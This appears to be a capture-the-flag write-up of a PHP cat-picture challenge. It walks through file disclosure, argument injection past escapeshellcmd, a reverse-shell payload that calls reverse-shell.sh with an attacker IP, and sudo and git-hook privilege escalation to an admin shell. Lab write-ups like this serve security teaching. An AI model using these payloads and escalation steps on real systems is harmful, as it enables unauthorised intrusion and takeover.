When we see the page for the first time, there's a picture of a cat, and also a button that switches between different cat pictures:
🐈 Flag 1
If we try to open one of the pictures in a new tab, it's possible to see that the picture is actually being loaded by a PHP endpoint, and that the request has a path
parameter, like this:
http://challenge.com/pictures.php?path=assets/4.jpg
Just by seeing a file being loaded like this, the first thing we may try is to replace assets/4.jpg
for something like ../../../etc/passwd
, but when we try that, the endpoint returns the message Not yet!
.
Trying similar path traversal payloads also seems to not work, but when we try to load a file that's inside of the project, like index.php
, this file is downloaded and we get the first flag as part of the filename.
🐈 Flag 2
This index.php
file doesn't actually have anything we couldn't see with the browser developer tools, but when we look at the <script>
tag at the bottom of the page, we can see that fetch()
being called in order to make an HTTP request to another php file called cat_info.php
, and we can download it just like we did with the previous file!
When we read the file, it's possible to see something interesting:
$kittenID = $_GET['id'];
$cmd = escapeshellcmd("/var/www/html/cat_info/main -c $kittenID");
$output = shell_exec($cmd);
So it picks up the request parameter id
and use it as an argument while calling a shell command with escapeshellcmd
. According to the PHP documentation, this function:
(...) escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands.
So we cannot just add commands after the cat's ID, because they will be sanitized. But the same page in PHP docs also has this warning regarding escapeshellcmd
:
(...) it still allows the attacker to pass arbitrary number of arguments. For escaping a single argument escapeshellarg() should be used instead.
We can see from the code above that escapeshellarg
is not being used at all, and this means that we can add extra arguments to this command which is being called. If we simply try to add a -h
flag after the kitten id, resulting in a request like /cat_info.php?id=4 -h
, this banner will be displayed:
It says that the flag -e
can be used along with a URL in order to execute health checks, and a .sh file is being passed in the examples of usage, which is interesting. It also says that only localhost URLs will be allowed, but its filter can be bypassed with a @
character, and a payload like the one below will give us a reverse shell:
/cat_info.php?id=4 -e http://localhost@reverse-shell.sh/YOUR_IP:PORT
When in the server, as the user www-data
, apparently Python is not installed, but the script
command may be used in order to get a more interactive shell:
script -qc /bin/bash /dev/null
Now if we go to the /
directory, it is possible to see the second flag in the file flag2.txt
.
🐈 Flag 3
Now heading to the /home
directory, it is possible to see the home directories of two other different users, level1
and admin
. So we might guess that the final goal is to get access to this admin user.
When we try to access one of these home directories, such as level1, an error message says:
bash: cd: level1: Permission denied
But when we execute sudo -l
, it returns that we have permission to execute su level1
and impersonate level1 without knowing its password, so we just execute:
sudo su level1
And now we can go to /home/level1
and get the third flag, which is in flag3.txt
.
🐈 Flag 4
Now that we are level1
and not www-data
, when we execute sudo -l
again, it will show the following content:
This means that we can use git pull
as the admin, using the sudo command like sudo -u admin git pull
, and that's when writing a git hook might help us!
In order to do so, just go to the /tmp
directory and clone any public git repository, such as public-apis/public-apis, using git clone
. After that, access the new repository directory and make it go "back in time" by one commit, using the following command:
git reset --hard HEAD^1
The idea is to execute git pull
for updating the repository again, while we get an admin shell. So we can create a post-merge
file in the .git/hooks
directory using nano (apparently vi is not installed, because nano is better 😲), and also add to it the following script:
#!/bin/bash
exec /bin/bash 0<&2 1>&2
This should, at least in theory, spawn an admin shell after git pull does what it needs to do. But when we try to execute sudo -u admin git pull
in the repository root directory, the following error message appears:
If we look at the permissions inside of the directory with something like ls -la
, we are going to see that other users don't have write permissions inside of the repository, just level1
itself. In this case, a command like chmod -R 757 /tmp/your_repository
does the trick.
Now trying to execute git pull as the admin again, boom! In the end of the process, we are going to have an admin session, and we can go to /home/admin
and get the final flag :D
Top comments (0)